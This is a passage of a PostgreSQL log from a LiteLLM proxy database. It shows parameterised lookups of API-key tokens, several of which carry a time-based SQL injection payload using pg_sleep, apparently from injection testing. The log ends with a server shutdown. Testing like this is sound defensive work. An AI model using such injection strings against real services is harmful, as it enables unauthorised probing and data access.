"public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.222 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = '1', $3 = '0' 2026-07-07 07:42:14.222 UTC [133043] LOG: duration: 0.024 ms 2026-07-07 07:42:14.222 UTC [133043] LOG: statement: COMMIT 2026-07-07 07:42:14.228 UTC [133043] LOG: duration: 5.931 ms 2026-07-07 07:42:14.271 UTC [133043] LOG: duration: 0.548 ms parse s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.275 UTC [133043] LOG: duration: 3.829 ms bind s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.275 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:42:14.275 UTC [133043] LOG: execute s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.275 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:42:14.275 UTC [133043] LOG: duration: 0.030 ms 2026-07-07 07:42:14.285 UTC [133043] LOG: duration: 1.196 ms bind s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.285 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:42:14.285 UTC [133043] LOG: execute s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.285 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- api-key' 2026-07-07 07:42:14.285 UTC [133043] LOG: duration: 0.016 ms 2026-07-07 07:42:14.295 UTC [133043] LOG: duration: 0.771 ms bind s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.295 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:42:14.295 UTC [133043] LOG: execute s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.295 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:42:14.295 UTC [133043] LOG: duration: 0.022 ms 2026-07-07 07:42:14.302 UTC [133043] LOG: duration: 0.800 ms bind s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.302 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:42:14.302 UTC [133043] LOG: execute s9: SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, t.soft_budget AS team_soft_budget, t.tpm_limit AS team_tpm_limit, t.rpm_limit AS team_rpm_limit, t.models AS team_models, t.metadata AS team_metadata, t.blocked AS team_blocked, t.team_alias AS team_alias, t.metadata AS team_metadata, t.members_with_roles AS team_members_with_roles, t.object_permission_id AS team_object_permission_id, t.organization_id as org_id, p.project_alias AS project_alias, tm.spend AS team_member_spend, m.aliases AS team_model_aliases, -- Added comma to separate b.* columns b.max_budget AS litellm_budget_table_max_budget, b.tpm_limit AS litellm_budget_table_tpm_limit, b.rpm_limit AS litellm_budget_table_rpm_limit, b.model_max_budget as litellm_budget_table_model_max_budget, b.soft_budget as litellm_budget_table_soft_budget, o.metadata as organization_metadata, o.organization_alias as organization_alias, b2.max_budget as organization_max_budget, b2.tpm_limit as organization_tpm_limit, b2.rpm_limit as organization_rpm_limit FROM "LiteLLM_VerificationToken" AS v LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id WHERE v.token = $1 2026-07-07 07:42:14.302 UTC [133043] DETAIL: Parameters: $1 = ''' OR EXISTS(SELECT 1 FROM pg_sleep(2)) -- x-litellm' 2026-07-07 07:42:14.302 UTC [133043] LOG: duration: 0.017 ms 2026-07-07 07:42:16.329 UTC [132012] LOG: received fast shutdown request 2026-07-07 07:42:16.334 UTC [132012] LOG: aborting any active transactions 2026-07-07 07:42:16.335 UTC [132012] LOG: background worker "logical replication launcher" (PID 132021) exited with exit code 1 2026-07-07 07:42:16.335 UTC [132016] LOG: shutting down 2026-07-07 07:42:16.342 UTC [132016] LOG: checkpoint starting: shutdown immediate 2026-07-07 07:42:16.450 UTC [132016] LOG: checkpoint complete: wrote 16 buffers (0.1%), wrote 3 SLRU buffers; 0 WAL file(s) added, 0 removed, 0 recycled; write=0.002 s, sync=0.084 s, total=0.115 s; sync files=18, longest=0.008 s, average=0.005 s; distance=9 kB, estimate=9 kB; lsn=0/2692308, redo lsn=0/2692308 2026-07-07 07:42:16.481 UTC [132012] LOG: database system is shut down